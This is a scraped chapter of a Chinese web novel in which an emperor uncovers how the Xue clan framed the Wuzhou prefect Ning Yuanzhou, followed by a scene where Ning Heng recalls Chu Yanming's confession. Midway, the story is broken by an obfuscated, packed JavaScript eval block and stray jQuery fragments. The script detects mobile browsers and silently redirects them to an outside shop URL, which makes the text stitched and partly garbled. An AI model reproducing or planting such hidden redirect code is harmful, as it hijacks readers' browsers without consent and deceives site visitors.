69. 当年(一)
作品:《兄长他为何那般》 “母后早就发现这案子有问题了?”段璟惊讶道。
熙宁四年他十二岁,还在宫里听太傅讲学,等他十四岁上,母后才开始让他接手政务,是以他也并不知晓此事。
沐烟点点头,道:“是先帝临终前嘱托娘娘的,薛氏既包藏祸心,敢同成王行谋逆之举,当年势大时不免有欺上瞒下之嫌,由他们经手之事,难保不会有错漏之处。”
“薛家毕竟是先帝母族,先帝初登基时帮助了他许多,后面先帝投桃报李,也放了不少权给他们。如因此反而使得薛家有机会借权谋私,反污忠良,先帝纵于九泉之下,亦难以心安。是以叛乱平息后,吩咐娘娘将与他们相关之事,细细探察一番。”
“娘娘也早有此意,只是一直腾不出手,原任大理寺卿也自恃文人清高不肯听命,娘娘裁撤了他后才让冷大人补了缺。冷大人不负所托,果然查出了不少疑案,梧州知府案就是其中之一。”
段璟恍惚片刻,方道:“朕明白了,你下去吧。”
“高览,传冷爱卿过来。”
夜色已深,冷千帆骤然听内监传唤时,还以为又出了什么大案子,赶忙穿戴整齐进宫面圣。
然被陛下叫起后,上首之人却久久未曾发话,他一把老骨头了,站久了难免有些不适,又怕御前失仪,只能强忍住伸伸腿脚的欲望。没想到陛下明察秋毫,还让人给他赐了座。
冷千帆嘴上说不敢,身体却很诚实地黏在了椅上。
段璟沉吟半晌,单刀直入地问道:“冷爱卿可还记得当年的梧州知府一案?”
冷千帆虽有些不明所以,但还是答道:“记得记得,这案子是臣上任后办的第一个大案,涉及前朝旧事,太后娘娘又对此十分重视,臣当时也是战战兢兢,幸不辱命。”
“朕先前翻阅卷宗时,对这案子倒是十分感兴趣,冷爱卿可能为朕详细讲讲?”
冷千帆这些年办理的案子成千上万,若提起旁的案子,还真不一定能让他印象如此深刻,但宁远洲一案,着实有些特殊。
“回陛下,这还要从永平九年关中旱灾说起。那年各地收成不好,闹了饥荒,梧州毗邻京城,安定至关重要。然而梧州知府受令开仓放粮时,却发现常平仓内的官粮大半都是掺了沙石的陈谷,真正能发给百姓的十不存一。”
“时值南疆战事正酣,江南等地的粮草大多都调去作军粮了,附近的城镇也没有多余的粮食,梧州孤立无援,民怨渐起,宁远洲是梧州主官,当即被下入大狱。”冷千帆当年对此事前后经历调查得十分详尽,此时说来亦是头头是道。
“当时的种种证据都指向了他,梧州同知更是公然出面检举他以权谋私,侵吞官粮,还逼迫属官为其隐瞒。事情还未完全调查清楚时,宁远洲就因病死在了狱中。”
“主责此案的北直隶巡抚薛泰上表说念在他为官时勤勉为民,既然人已经死了,就不必再往下追究。从旁协助的三法司官员虽不赞同,但碍于薛家威势,也不敢多言,就这样草草结案。”
段璟皱了皱眉,问道:“父皇当时对此事就没有任何异议?”
冷千帆是两朝老臣了,自然也清楚那时的情况,无奈道:“先帝当年被南疆战事绊住了心神,加上薛家是补上了梧州这个窟窿的功臣,他都如此求情了,陛下也不好再多言。”
“功臣?”段璟冷笑了一声。
“后来臣接手此案,多方追踪查到了梧州同知的下落,又讯问州府衙门曾经的属吏,才知道原来是同知贪墨了一小部分官粮,余下的大头,都是薛泰借手上他的罪证,要挟其以沙石换粮,将粮草运到了薛家的田庄上。臣核对了当年薛家献粮的数额,与扣除同知私吞的官粮短缺之数相去不远。”
段璟闻言,猛地拍案而起,怒道:“薛家敢借官职之便勾结地方污吏,行如此偷梁换柱之事,到头来反而还给自己身上安了个美名,当真是恬不知耻!”
冷千帆赔着笑不敢说话,然而段璟也知道此事薛泰虽做得不算天衣无缝,必然引起朝中疑虑,但薛家有太后作靠山,薛废后当年虽不受宠,该有的体面却是一点不缺,谁人敢吃力不讨好地得罪他们?
“那宁远洲当真是病死的?”稍稍冷静下来,段璟又问道。
冷千帆点点头,道:“臣问过当年负责此案的仵作,宁远洲确是因心疾发作,未能得到及时诊治而亡故。臣也去寻过宁家的仆婢,只是宁远洲死后,其妻方氏也随之殉情而亡,宁家就此家破人亡,下人也各自逃命,难寻其踪。”
“但臣问过梧州府衙的小吏,都说宁知府平时身体确实不怎么好,在牢里条件不好,受了惊吓心疾爆发也属正常。”他复又补充了一句。
若当时能查清此事真相,宁远洲虽难逃一个失察的罪责,然而官粮亏空数额小,又非他所为,顶多只会贬官罚俸,怎么也落不到一个惨死狱中的凄凉结局。
然而薛家却从中横插一脚,混淆是非颠倒黑白,硬生生逼得宁家支离破碎。
段璟沉沉叹了口气,片刻后似想起什么,复问道:“宁远洲可有儿女?”
这话和案情毫无半分关系,冷千帆愣了一下,方答道:“回陛下,他膝下只有一个女儿。”
“此人现在何处?”
冷千帆面露迟疑,道:“当年宁远洲出事前,他的独女就不知为何失了踪迹。后来我重查此案时,也着人探问过她的下落,但始终没有找到人。”
见段璟沉吟不语,冷千帆也察觉出了他对此案的格外关注,犹豫着道:“臣在梧州时,倒从一些老人口中打听出了一件事,和此案看似无关,臣当时就没有报上去。”
“何事?”
“据闻,废后的堂弟薛兆文曾在梧州的天麓学院待过几年,事发前曾多次向宁家提亲,只是都被宁远洲给拒绝了。”
段璟细长的凤眼危险地眯起,开口道:“你的意思是……薛兆文被拒亲后怀恨在心,才陷害了宁远洲?”
还不等冷千帆答话,段璟就先想起来当初清算薛家时遇到的一桩怪事。
薛家虽参与了谋反,但毕竟是父皇的母族,且旁支都未曾参与其中。母后砍了几个主使者的脑袋,余下的都判了流放。
唯有一个薛兆文,潜逃在外的路上被发现曝死于郊野,且脑袋被人生生割下,只剩一具无头之尸,死状凄惨,凶手至今没有找到。
且发现他尸首的地方,就在京畿。
心念电转间,从前想不明白的许多事情,都在此刻浮现在脑海中,联成一道通路。
段璟猛然从龙椅上站起,他几乎能确定,昭昭的养母就是宁远洲那个失踪的女儿,而萧游当年冒死来京,也是为了向薛兆文复仇。
冷千帆被他突然的动作吓了一跳,连忙也从椅子上起身,略显不安地弓着肩背,不敢说话。
“你说当年……褚延明上书前,母后已有重查此案之意?”
冷千帆擦了擦额角不存在的冷汗,谨慎地答道:“正是,只是当时没有个正当的由头,臣也还在努力寻找突破口,褚大人就先一步提出了。但哪怕他不上书,臣当初也已经快要找到翻案的线头了。”
“……”
“朕知晓了,多谢冷爱卿为朕答疑解惑,辛苦爱卿了。”
冷千帆忙摆手道:“陛下言重了,此乃臣的分内之事。”
等他离开后,段璟才低声喃喃道:“竟是如此……原来冥冥中,竟早有如此因果……”
……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112421|195482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“公子,公子?你想什么呢?”宁风见他一直在出神,连自己说话都听不见,大胆地在宁珩眼前挥了挥手。
“什么?”宁珩恍然回过神来。
宁风无奈道:“咱都沿着这条街走了半刻钟了,到底是要往哪去啊?这也不是回京的路啊?”
“……天色已晚,赶夜路多有不便,找个客栈暂歇一夜吧。”
宁珩头疼地揉了揉眉心,脑海里又浮现出在褚府时,褚延明对他说的那些话。
“你很像你娘……虽然模样和她相似的地方不多,但那种坚忍之感,内里自恃天才而不把寻常人放在眼里的傲气,却和她如出一辙。”
宁珩有些意外,自己还没有开口,他就先看出了自己的身份。
出于某些考量,他并没有急着开口,而是等着显然已陷入回忆的褚延明先说完未尽之语。
“看你的样子,宁小姐没有在你面前提起过我吧?”褚延明温和地笑了笑,摇头道:“她没说过我也是情理之中,毕竟我只是宁大人帮助过的许多人里……最不起眼的一个。”
“这些年来,我从没在旁人面前提过我与宁大人的关系。虽我心中早已将他视作自己的恩师,但我却愧对于他,在他孤立无援之际选择独善其身,又怎敢觍颜无耻地称他一句‘老师’?”
褚延明未及半百,却已华发早生,饱经沧桑的脸上沟壑纵横,此时泪如雨下间,竟有种说不出的悲色。
“若没有宁大人暗中襄助,我和母亲谋生都困难,又怎还有余钱让我求学?”
“当年我就立誓,将来出人头地,定要好好报答宁大人。可当宁大人被人构陷之时,我却惧于薛家威势,不敢为他申辩一二……”
褚延明说到此,深深吸了口气,又重重吐出,这些话显然已积压在他心中多年,此时才找到了宣泄的出口。
“宁大人为官清廉,怎可能私吞官粮?他平日广结善缘,出事后梧州上下为他奔走之人不在少数,只是最后不是被薛兆文暗中除掉,就是私下收了薛家的好处,闭口不言。”
“我虽孑然一身,然身后还有一老母,只能静观局势变化,却没想到宁大人入狱后不久,就病逝了……我痛悔不已,在母亲的支持下欲入京上告,只是薛泰动作更快,两日不到就给大人定了罪,我才知晓薛家势力在朝中渗透得到底有多深……”
“审时度势后,我只能忍住满腔悲愤,在众人暗中帮助下收敛了宁大人夫妇的尸骨,秘密下葬,静待转机的出现。”
褚延明长长叹息,道:“可惜世事无常,薛家倒台后,我正欲有所行动,北疆就先开战了,乱局之中,我自顾不暇,上书之事也一推再推。”
“后来战乱平息,我母亲却先一步撒手人寰,待我处理好母亲后事,欲为大人翻案时,却四处碰壁。没有哪个官吏,敢冒着风险推翻先帝金口玉言定下的旧案。无奈之下,我只能亲自考取了功名,再将此事呈到御前。”
“当时因民间对太后娘娘的流言,我也心怀忐忑,但未曾想太后娘娘几乎立时就同意了我的请命,彻查此案,为大人洗刷了冤屈……”
褚延明后面还讲了什么,宁珩已经记不大清了。
当命运的无常真正展露在眼前的那一刻,即便是他,也被震在了原地。
为父亲平反,是母亲记了一生的心愿,哪怕死前也从未有片刻遗忘。
却没想到,此事早已有人先一步去做了。
在这世间,竟有两个素未谋面之人,在彼此都不知晓的角落里,完成了对方毕生的夙愿……
然而上天又何其残忍,夺去了她们在生前相知的机会,直到双双离世后,她们的后代,才发现这被岁月掩盖了太久太久的牵绊。

